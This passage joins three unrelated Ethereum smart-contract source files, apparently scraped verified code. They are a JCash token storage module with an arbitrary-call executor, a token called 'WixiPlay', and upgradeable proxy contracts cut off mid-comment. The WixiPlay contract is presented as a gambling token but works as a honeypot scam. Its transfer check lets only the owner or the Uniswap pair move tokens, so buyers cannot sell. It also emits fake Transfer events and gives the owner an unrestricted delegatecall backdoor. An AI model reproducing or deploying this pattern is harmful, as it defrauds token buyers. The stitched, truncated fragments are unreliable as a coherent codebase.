DelegatecallExecutedEvent(address indexed target, uint256 suppliedGas, bytes32 transactionBytecodeHash); /* Functions */ function executeCall(address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode) external; function executeDelegatecall(address _target, uint256 _suppliedGas, bytes _transactionBytecode) external; } /** * @title BytecodeExecutor * @dev Implementation of a contract that execute any bytecode on behalf of the contract * @dev Last resort for the immutable and not-replaceable contract :) */ contract BytecodeExecutor is ManageableInterface, BytecodeExecutorInterface { /* Storage */ bool underExecution = false; /* BytecodeExecutorInterface */ function executeCall( address _target, uint256 _suppliedGas, uint256 _ethValue, bytes _transactionBytecode ) external onlyAllowedManager('execute_call') { require(underExecution == false); underExecution = true; // Avoid recursive calling _target.call.gas(_suppliedGas).value(_ethValue)(_transactionBytecode); underExecution = false; CallExecutedEvent(_target, _suppliedGas, _ethValue, keccak256(_transactionBytecode)); } function executeDelegatecall( address _target, uint256 _suppliedGas, bytes _transactionBytecode ) external onlyAllowedManager('execute_delegatecall') { require(underExecution == false); underExecution = true; // Avoid recursive calling _target.delegatecall.gas(_suppliedGas)(_transactionBytecode); underExecution = false; DelegatecallExecutedEvent(_target, _suppliedGas, keccak256(_transactionBytecode)); } } /** * @title CrydrStorageBaseInterface interface * @dev Interface of a contract that manages balance of an CryDR */ contract CrydrStorageBaseInterface { /* Events */ event CrydrControllerChangedEvent(address indexed crydrcontroller); /* Configuration */ function setCrydrController(address _newController) public; function getCrydrController() public constant returns (address); } /** * @title CrydrStorageBase */ contract CrydrStorageBase is CommonModifiersInterface, AssetIDInterface, ManageableInterface, PausableInterface, CrydrStorageBaseInterface { /* Storage */ address crydrController = address(0x0); /* CrydrStorageBaseInterface */ /* Configuration */ function setCrydrController( address _crydrController ) public whenContractPaused onlyContractAddress(_crydrController) onlyAllowedManager('set_crydr_controller') { require(_crydrController != address(crydrController)); require(_crydrController != address(this)); crydrController = _crydrController; CrydrControllerChangedEvent(_crydrController); } function getCrydrController() public constant returns (address) { return address(crydrController); } /* PausableInterface */ /** * @dev Override method to ensure that contract properly configured before it is unpaused */ function unpauseContract() public { require(isContract(crydrController) == true); require(getAssetIDHash() == AssetIDInterface(crydrController).getAssetIDHash()); super.unpauseContract(); } } /** * @title CrydrStorageBlocksInterface interface * @dev Interface of a contract that manages balance of an CryDR */ contract CrydrStorageBlocksInterface { /* Events */ event AccountBlockedEvent(address indexed account); event AccountUnblockedEvent(address indexed account); event AccountFundsBlockedEvent(address indexed account, uint256 value); event AccountFundsUnblockedEvent(address indexed account, uint256 value); /* Low-level change of blocks and getters */ function blockAccount(address _account) public; function unblockAccount(address _account) public; function getAccountBlocks(address _account) public constant returns (uint256); function blockAccountFunds(address _account, uint256 _value) public; function unblockAccountFunds(address _account, uint256 _value) public; function getAccountBlockedFunds(address _account) public constant returns (uint256); } /** * @title CrydrStorageBlocks */ contract CrydrStorageBlocks is SafeMathInterface, PausableInterface, CrydrStorageBaseInterface, CrydrStorageBlocksInterface { /* Storage */ mapping (address => uint256) accountBlocks; mapping (address => uint256) accountBlockedFunds; /* Constructor */ function CrydrStorageBlocks() public { accountBlocks[0x0] = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; } /* Low-level change of blocks and getters */ function blockAccount( address _account ) public { require(msg.sender == getCrydrController()); require(_account != address(0x0)); accountBlocks[_account] = safeAdd(accountBlocks[_account], 1); AccountBlockedEvent(_account); } function unblockAccount( address _account ) public { require(msg.sender == getCrydrController()); require(_account != address(0x0)); accountBlocks[_account] = safeSub(accountBlocks[_account], 1); AccountUnblockedEvent(_account); } function getAccountBlocks( address _account ) public constant returns (uint256) { require(_account != address(0x0)); return accountBlocks[_account]; } function blockAccountFunds( address _account, uint256 _value ) public { require(msg.sender == getCrydrController()); require(_account != address(0x0)); require(_value > 0); accountBlockedFunds[_account] = safeAdd(accountBlockedFunds[_account], _value); AccountFundsBlockedEvent(_account, _value); } function unblockAccountFunds( address _account, uint256 _value ) public { require(msg.sender == getCrydrController()); require(_account != address(0x0)); require(_value > 0); accountBlockedFunds[_account] = safeSub(accountBlockedFunds[_account], _value); AccountFundsUnblockedEvent(_account, _value); } function getAccountBlockedFunds( address _account ) public constant returns (uint256) { require(_account != address(0x0)); return accountBlockedFunds[_account]; } } /** * @title CrydrStorageBalanceInterface interface * @dev Interface of a contract that manages balance of an CryDR */ contract CrydrStorageBalanceInterface { /* Events */ event AccountBalanceIncreasedEvent(address indexed account, uint256 value); event AccountBalanceDecreasedEvent(address indexed account, uint256 value); /* Low-level change of balance. Implied that totalSupply kept in sync. */ function increaseBalance(address _account, uint256 _value) public; function decreaseBalance(address _account, uint256 _value) public; function getBalance(address _account) public constant returns (uint256); function getTotalSupply() public constant returns (uint256); } /** * @title CrydrStorageBalance */ contract CrydrStorageBalance is SafeMathInterface, PausableInterface, CrydrStorageBaseInterface, CrydrStorageBalanceInterface { /* Storage */ mapping (address => uint256) balances; uint256 totalSupply = 0; /* Low-level change of balance and getters. Implied that totalSupply kept in sync. */ function increaseBalance( address _account, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(_account != address(0x0)); require(_value > 0); balances[_account] = safeAdd(balances[_account], _value); totalSupply = safeAdd(totalSupply, _value); AccountBalanceIncreasedEvent(_account, _value); } function decreaseBalance( address _account, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(_account != address(0x0)); require(_value > 0); balances[_account] = safeSub(balances[_account], _value); totalSupply = safeSub(totalSupply, _value); AccountBalanceDecreasedEvent(_account, _value); } function getBalance(address _account) public constant returns (uint256) { require(_account != address(0x0)); return balances[_account]; } function getTotalSupply() public constant returns (uint256) { return totalSupply; } } /** * @title CrydrStorageAllowanceInterface interface * @dev Interface of a contract that manages balance of an CryDR */ contract CrydrStorageAllowanceInterface { /* Events */ event AccountAllowanceIncreasedEvent(address indexed owner, address indexed spender, uint256 value); event AccountAllowanceDecreasedEvent(address indexed owner, address indexed spender, uint256 value); /* Low-level change of allowance */ function increaseAllowance(address _owner, address _spender, uint256 _value) public; function decreaseAllowance(address _owner, address _spender, uint256 _value) public; function getAllowance(address _owner, address _spender) public constant returns (uint256); } /** * @title CrydrStorageAllowance */ contract CrydrStorageAllowance is SafeMathInterface, PausableInterface, CrydrStorageBaseInterface, CrydrStorageAllowanceInterface { /* Storage */ mapping (address => mapping (address => uint256)) allowed; /* Low-level change of allowance and getters */ function increaseAllowance( address _owner, address _spender, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(_owner != address(0x0)); require(_spender != address(0x0)); require(_owner != _spender); require(_value > 0); allowed[_owner][_spender] = safeAdd(allowed[_owner][_spender], _value); AccountAllowanceIncreasedEvent(_owner, _spender, _value); } function decreaseAllowance( address _owner, address _spender, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(_owner != address(0x0)); require(_spender != address(0x0)); require(_owner != _spender); require(_value > 0); allowed[_owner][_spender] = safeSub(allowed[_owner][_spender], _value); AccountAllowanceDecreasedEvent(_owner, _spender, _value); } function getAllowance( address _owner, address _spender ) public constant returns (uint256) { require(_owner != address(0x0)); require(_spender != address(0x0)); require(_owner != _spender); return allowed[_owner][_spender]; } } /** * @title CrydrStorageERC20Interface interface * @dev Interface of a contract that manages balance of an CryDR and have optimization for ERC20 controllers */ contract CrydrStorageERC20Interface { /* Events */ event CrydrTransferredEvent(address indexed from, address indexed to, uint256 value); event CrydrTransferredFromEvent(address indexed spender, address indexed from, address indexed to, uint256 value); event CrydrSpendingApprovedEvent(address indexed owner, address indexed spender, uint256 value); /* ERC20 optimization. _msgsender - account that invoked CrydrView */ function transfer(address _msgsender, address _to, uint256 _value) public; function transferFrom(address _msgsender, address _from, address _to, uint256 _value) public; function approve(address _msgsender, address _spender, uint256 _value) public; } /** * @title CrydrStorageERC20 */ contract CrydrStorageERC20 is SafeMathInterface, PausableInterface, CrydrStorageBaseInterface, CrydrStorageBalanceInterface, CrydrStorageAllowanceInterface, CrydrStorageBlocksInterface, CrydrStorageERC20Interface { function transfer( address _msgsender, address _to, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(_msgsender != _to); require(getAccountBlocks(_msgsender) == 0); require(safeSub(getBalance(_msgsender), _value) >= getAccountBlockedFunds(_msgsender)); decreaseBalance(_msgsender, _value); increaseBalance(_to, _value); CrydrTransferredEvent(_msgsender, _to, _value); } function transferFrom( address _msgsender, address _from, address _to, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(getAccountBlocks(_msgsender) == 0); require(getAccountBlocks(_from) == 0); require(safeSub(getBalance(_from), _value) >= getAccountBlockedFunds(_from)); require(_from != _to); decreaseAllowance(_from, _msgsender, _value); decreaseBalance(_from, _value); increaseBalance(_to, _value); CrydrTransferredFromEvent(_msgsender, _from, _to, _value); } function approve( address _msgsender, address _spender, uint256 _value ) public whenContractNotPaused { require(msg.sender == getCrydrController()); require(getAccountBlocks(_msgsender) == 0); require(getAccountBlocks(_spender) == 0); uint256 currentAllowance = getAllowance(_msgsender, _spender); require(currentAllowance != _value); if (currentAllowance > _value) { decreaseAllowance(_msgsender, _spender, safeSub(currentAllowance, _value)); } else { increaseAllowance(_msgsender, _spender, safeSub(_value, currentAllowance)); } CrydrSpendingApprovedEvent(_msgsender, _spender, _value); } } /** * @title JCashCrydrStorage * @dev Implementation of a contract that manages data of an CryDR */ contract JCashCrydrStorage is SafeMath, CommonModifiers, AssetID, Ownable, Manageable, Pausable, BytecodeExecutor, CrydrStorageBase, CrydrStorageBalance, CrydrStorageAllowance, CrydrStorageBlocks, CrydrStorageERC20 { /* Constructor */ function JCashCrydrStorage(string _assetID) AssetID(_assetID) public { } } contract JNTStorage is JCashCrydrStorage { function JNTStorage() JCashCrydrStorage('JNT') public {} }
DC1
/** *Submitted for verification at Etherscan.io on 2020-11-03 */ pragma solidity ^0.5.17; /* WixiPlay - The greatest gambling experience */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract WixiPlay { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract PlaceHolder { } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () virtual payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() virtual override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(newImplementation == address(0) || OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract __BaseAdminUpgradeabilityProxy__ is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ //modifier ifAdmin() { // if (msg.sender == _admin()) { // _; // } else { // _fallback(); // } //} modifier ifAdmin() { require (msg.sender == _admin(), 'only admin'); _; } /** * @return The address of the proxy admin. */ //function admin() external ifAdmin returns (address) { // return _admin(); //} function __admin__() external view returns (address) { return _admin(); } /** * @return The address of the implementation. */ //function implementation() external ifAdmin returns (address) { // return _implementation(); //} function __implementation__() external view returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ //function changeAdmin(address newAdmin) external ifAdmin { // require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); // emit AdminChanged(_admin(), newAdmin); // _setAdmin(newAdmin); //} function __changeAdmin__(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ //function upgradeTo(address newImplementation) external ifAdmin { // _upgradeTo(newImplementation); //} function __upgradeTo__(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ //function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { // _upgradeTo(newImplementation); // (bool success,) = newImplementation.delegatecall(data); // require(success); //} function __upgradeToAndCall__(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ //function _willFallback() virtual override internal { // require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); // //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract __AdminUpgradeabilityProxy__ is __BaseAdminUpgradeabilityProxy__, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } //function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { // super._willFallback(); //} } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, address _admin, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } interface IProxyFactory { function governor() external view returns (address); function __admin__() external view returns (address); function productImplementation() external view returns (address); function productImplementations(bytes32 name) external view returns (address); } /** * @title ProductProxy * @dev This contract implements a proxy that * it is deploied by 